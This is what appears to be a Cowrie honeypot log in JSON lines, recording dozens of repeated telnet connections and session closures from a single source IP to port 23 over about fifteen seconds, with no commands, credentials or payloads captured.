{"eventid":"cowrie.session.closed","duration":30.731770038604736,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:33.656087Z","src_ip":"198.50.122.223","session":"7553b4d848d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":57156,"dst_ip":"10.17.0.5","dst_port":23,"session":"b26a0d0ffff2","protocol":"telnet","message":"New connection: 198.50.122.223:57156 (10.17.0.5:23) [session: b26a0d0ffff2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:33.817040Z"}
{"eventid":"cowrie.session.closed","duration":31.782828092575073,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:33.843513Z","src_ip":"198.50.122.223","session":"fe8838ca76e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.558773517608643,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:34.331509Z","src_ip":"198.50.122.223","session":"355c43eae03a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":59508,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed9111a9b4e4","protocol":"telnet","message":"New connection: 198.50.122.223:59508 (10.17.0.5:23) [session: ed9111a9b4e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:34.432413Z"}
{"eventid":"cowrie.session.closed","duration":30.965241193771362,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:34.436748Z","src_ip":"198.50.122.223","session":"8d043bdba468","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":59689,"dst_ip":"10.17.0.5","dst_port":23,"session":"90377cb58c6d","protocol":"telnet","message":"New connection: 198.50.122.223:59689 (10.17.0.5:23) [session: 90377cb58c6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:34.468633Z"}
{"eventid":"cowrie.session.closed","duration":31.183959007263184,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:34.592281Z","src_ip":"198.50.122.223","session":"60478437c4a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.3194317817688,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:34.616272Z","src_ip":"198.50.122.223","session":"acd425c07d90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.134563446044922,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:34.691115Z","src_ip":"198.50.122.223","session":"993b1c55bb81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":34104,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d40753be49e","protocol":"telnet","message":"New connection: 198.50.122.223:34104 (10.17.0.5:23) [session: 1d40753be49e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:34.844306Z"}
{"eventid":"cowrie.session.closed","duration":31.115068197250366,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:35.329265Z","src_ip":"198.50.122.223","session":"d5d75b6df6ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":36588,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7a0a3eb16ec","protocol":"telnet","message":"New connection: 198.50.122.223:36588 (10.17.0.5:23) [session: d7a0a3eb16ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:35.422213Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":36992,"dst_ip":"10.17.0.5","dst_port":23,"session":"212d3acf500b","protocol":"telnet","message":"New connection: 198.50.122.223:36992 (10.17.0.5:23) [session: 212d3acf500b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:35.492645Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":37272,"dst_ip":"10.17.0.5","dst_port":23,"session":"959f722f7c48","protocol":"telnet","message":"New connection: 198.50.122.223:37272 (10.17.0.5:23) [session: 959f722f7c48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:35.537126Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":60152,"dst_ip":"10.17.0.5","dst_port":23,"session":"548e1bb3adfd","protocol":"telnet","message":"New connection: 198.50.122.223:60152 (10.17.0.5:23) [session: 548e1bb3adfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:35.543621Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":60694,"dst_ip":"10.17.0.5","dst_port":23,"session":"78791daf4c4f","protocol":"telnet","message":"New connection: 198.50.122.223:60694 (10.17.0.5:23) [session: 78791daf4c4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:35.615864Z"}
{"eventid":"cowrie.session.closed","duration":31.004077672958374,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:35.640511Z","src_ip":"198.50.122.223","session":"7e6d7fabbd63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.120043516159058,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:36.204742Z","src_ip":"198.50.122.223","session":"40fd707d6489","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.905545234680176,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:36.392136Z","src_ip":"198.50.122.223","session":"e073b5c6d17b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.35542631149292,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:36.858838Z","src_ip":"198.50.122.223","session":"589e214eb365","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":45806,"dst_ip":"10.17.0.5","dst_port":23,"session":"f44732040e5a","protocol":"telnet","message":"New connection: 198.50.122.223:45806 (10.17.0.5:23) [session: f44732040e5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:37.242661Z"}
{"eventid":"cowrie.session.closed","duration":30.869910955429077,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:37.512546Z","src_ip":"198.50.122.223","session":"a8908e1aca0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":47147,"dst_ip":"10.17.0.5","dst_port":23,"session":"08bb99c10355","protocol":"telnet","message":"New connection: 198.50.122.223:47147 (10.17.0.5:23) [session: 08bb99c10355]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:37.530258Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":47966,"dst_ip":"10.17.0.5","dst_port":23,"session":"705d11294274","protocol":"telnet","message":"New connection: 198.50.122.223:47966 (10.17.0.5:23) [session: 705d11294274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:37.651827Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":49576,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dbfcf2bf88e","protocol":"telnet","message":"New connection: 198.50.122.223:49576 (10.17.0.5:23) [session: 7dbfcf2bf88e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:37.891235Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":50408,"dst_ip":"10.17.0.5","dst_port":23,"session":"491e41a6f2d7","protocol":"telnet","message":"New connection: 198.50.122.223:50408 (10.17.0.5:23) [session: 491e41a6f2d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:38.119486Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":45406,"dst_ip":"10.17.0.5","dst_port":23,"session":"2472807dc753","protocol":"telnet","message":"New connection: 198.50.122.223:45406 (10.17.0.5:23) [session: 2472807dc753]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:38.147364Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":50626,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fd3cded9b6d","protocol":"telnet","message":"New connection: 198.50.122.223:50626 (10.17.0.5:23) [session: 2fd3cded9b6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:38.216813Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":50708,"dst_ip":"10.17.0.5","dst_port":23,"session":"15fc71bca2cf","protocol":"telnet","message":"New connection: 198.50.122.223:50708 (10.17.0.5:23) [session: 15fc71bca2cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:38.241013Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":54426,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b518effe320","protocol":"telnet","message":"New connection: 198.50.122.223:54426 (10.17.0.5:23) [session: 6b518effe320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:38.891233Z"}
{"eventid":"cowrie.session.closed","duration":30.94088649749756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:39.391738Z","src_ip":"198.50.122.223","session":"ea265a3c6f45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":59372,"dst_ip":"10.17.0.5","dst_port":23,"session":"40214e1204ae","protocol":"telnet","message":"New connection: 198.50.122.223:59372 (10.17.0.5:23) [session: 40214e1204ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:39.850898Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":33620,"dst_ip":"10.17.0.5","dst_port":23,"session":"4de8ac7488ef","protocol":"telnet","message":"New connection: 198.50.122.223:33620 (10.17.0.5:23) [session: 4de8ac7488ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:40.413700Z"}
{"eventid":"cowrie.session.closed","duration":30.413161277770996,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:41.213584Z","src_ip":"198.50.122.223","session":"1424c212c3b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":39864,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb03b8f550d1","protocol":"telnet","message":"New connection: 198.50.122.223:39864 (10.17.0.5:23) [session: bb03b8f550d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:41.687863Z"}
{"eventid":"cowrie.session.closed","duration":31.82143259048462,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:41.929775Z","src_ip":"198.50.122.223","session":"9cffbc76dc0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":42114,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5e0223d60cd","protocol":"telnet","message":"New connection: 198.50.122.223:42114 (10.17.0.5:23) [session: c5e0223d60cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:41.971335Z"}
{"eventid":"cowrie.session.closed","duration":30.60790514945984,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:42.091111Z","src_ip":"198.50.122.223","session":"8e5836620b44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.718734741210938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:42.315751Z","src_ip":"198.50.122.223","session":"5e4cf4b05958","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.70793080329895,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:42.320301Z","src_ip":"198.50.122.223","session":"705394787a32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.008341312408447,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:42.325764Z","src_ip":"198.50.122.223","session":"f3532cce6858","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":43362,"dst_ip":"10.17.0.5","dst_port":23,"session":"9da50d266b06","protocol":"telnet","message":"New connection: 198.50.122.223:43362 (10.17.0.5:23) [session: 9da50d266b06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:42.356194Z"}
{"eventid":"cowrie.session.closed","duration":31.390323638916016,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:42.389185Z","src_ip":"198.50.122.223","session":"fe758e0d9c14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.987658739089966,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:42.452114Z","src_ip":"198.50.122.223","session":"34ffd1020a75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":45702,"dst_ip":"10.17.0.5","dst_port":23,"session":"00c2e411b44e","protocol":"telnet","message":"New connection: 198.50.122.223:45702 (10.17.0.5:23) [session: 00c2e411b44e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:42.681350Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":42230,"dst_ip":"10.17.0.5","dst_port":23,"session":"5100ad7db7dc","protocol":"telnet","message":"New connection: 198.50.122.223:42230 (10.17.0.5:23) [session: 5100ad7db7dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:42.996068Z"}
{"eventid":"cowrie.session.closed","duration":30.723555326461792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:43.055965Z","src_ip":"198.50.122.223","session":"f027a38a8d42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":48048,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffd1021e1c85","protocol":"telnet","message":"New connection: 198.50.122.223:48048 (10.17.0.5:23) [session: ffd1021e1c85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:43.227584Z"}
{"eventid":"cowrie.session.closed","duration":30.533047199249268,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:43.325204Z","src_ip":"198.50.122.223","session":"cd2a68b66bb3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":56456,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ab5273cab3e","protocol":"telnet","message":"New connection: 198.50.122.223:56456 (10.17.0.5:23) [session: 0ab5273cab3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:43.532691Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":49658,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa2616272102","protocol":"telnet","message":"New connection: 198.50.122.223:49658 (10.17.0.5:23) [session: aa2616272102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:43.549001Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":50002,"dst_ip":"10.17.0.5","dst_port":23,"session":"73b089bfc22d","protocol":"telnet","message":"New connection: 198.50.122.223:50002 (10.17.0.5:23) [session: 73b089bfc22d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:43.617509Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":50294,"dst_ip":"10.17.0.5","dst_port":23,"session":"47d3b5948466","protocol":"telnet","message":"New connection: 198.50.122.223:50294 (10.17.0.5:23) [session: 47d3b5948466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:43.648425Z"}
{"eventid":"cowrie.session.closed","duration":31.130264282226562,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:43.854331Z","src_ip":"198.50.122.223","session":"628b50213838","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":53098,"dst_ip":"10.17.0.5","dst_port":23,"session":"151dab4760c2","protocol":"telnet","message":"New connection: 198.50.122.223:53098 (10.17.0.5:23) [session: 151dab4760c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:44.154330Z"}
{"eventid":"cowrie.session.closed","duration":30.92614984512329,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:44.213213Z","src_ip":"198.50.122.223","session":"ab40a4760c37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":53588,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9b9514d5374","protocol":"telnet","message":"New connection: 198.50.122.223:53588 (10.17.0.5:23) [session: f9b9514d5374]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:44.319134Z"}
{"eventid":"cowrie.session.closed","duration":31.264209508895874,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:44.408132Z","src_ip":"198.50.122.223","session":"d2fb5b6ab6c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05226421356201,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:44.558925Z","src_ip":"198.50.122.223","session":"8b6a0615a1e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":56726,"dst_ip":"10.17.0.5","dst_port":23,"session":"26e26ba15f6e","protocol":"telnet","message":"New connection: 198.50.122.223:56726 (10.17.0.5:23) [session: 26e26ba15f6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:44.811087Z"}
{"eventid":"cowrie.session.closed","duration":31.917059183120728,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:44.912947Z","src_ip":"198.50.122.223","session":"30af7d81b602","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":57802,"dst_ip":"10.17.0.5","dst_port":23,"session":"0883d5f87bd4","protocol":"telnet","message":"New connection: 198.50.122.223:57802 (10.17.0.5:23) [session: 0883d5f87bd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:45.069065Z"}
{"eventid":"cowrie.session.closed","duration":30.67652654647827,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:45.171285Z","src_ip":"198.50.122.223","session":"b64bef3c5c83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08268451690674,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:45.180316Z","src_ip":"198.50.122.223","session":"33f020e92f13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.509109020233154,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:45.186469Z","src_ip":"198.50.122.223","session":"402d49cf719e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.976383209228516,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:45.279614Z","src_ip":"198.50.122.223","session":"52d463494c91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14883828163147,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:45.328116Z","src_ip":"198.50.122.223","session":"2f8d2b8a16d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":59308,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4e577512509","protocol":"telnet","message":"New connection: 198.50.122.223:59308 (10.17.0.5:23) [session: a4e577512509]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:45.456047Z"}
{"eventid":"cowrie.session.closed","duration":30.73584747314453,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:45.620973Z","src_ip":"198.50.122.223","session":"cb1a657f7d53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":60986,"dst_ip":"10.17.0.5","dst_port":23,"session":"d39a8f89d631","protocol":"telnet","message":"New connection: 198.50.122.223:60986 (10.17.0.5:23) [session: d39a8f89d631]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:45.682057Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":45954,"dst_ip":"10.17.0.5","dst_port":23,"session":"87c73d9e1dec","protocol":"telnet","message":"New connection: 198.50.122.223:45954 (10.17.0.5:23) [session: 87c73d9e1dec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:45.732428Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":33814,"dst_ip":"10.17.0.5","dst_port":23,"session":"056241af9e86","protocol":"telnet","message":"New connection: 198.50.122.223:33814 (10.17.0.5:23) [session: 056241af9e86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:45.837589Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":34620,"dst_ip":"10.17.0.5","dst_port":23,"session":"265f531ab73a","protocol":"telnet","message":"New connection: 198.50.122.223:34620 (10.17.0.5:23) [session: 265f531ab73a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:46.044324Z"}
{"eventid":"cowrie.session.closed","duration":30.24061918258667,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:46.145487Z","src_ip":"198.50.122.223","session":"4cdea02c48f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.864098072052002,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:46.198176Z","src_ip":"198.50.122.223","session":"74b47e752168","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.324925422668457,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:46.420876Z","src_ip":"198.50.122.223","session":"bffa2c25177e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":49164,"dst_ip":"10.17.0.5","dst_port":23,"session":"101ce6d42715","protocol":"telnet","message":"New connection: 198.50.122.223:49164 (10.17.0.5:23) [session: 101ce6d42715]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:46.459397Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":39750,"dst_ip":"10.17.0.5","dst_port":23,"session":"44925e4d419a","protocol":"telnet","message":"New connection: 198.50.122.223:39750 (10.17.0.5:23) [session: 44925e4d419a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:47.113945Z"}
{"eventid":"cowrie.session.closed","duration":30.903109550476074,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:47.312112Z","src_ip":"198.50.122.223","session":"96b2048962c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.932048559188843,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:47.346464Z","src_ip":"198.50.122.223","session":"317e4782bc2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":40884,"dst_ip":"10.17.0.5","dst_port":23,"session":"d27b4718373d","protocol":"telnet","message":"New connection: 198.50.122.223:40884 (10.17.0.5:23) [session: d27b4718373d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:47.413844Z"}
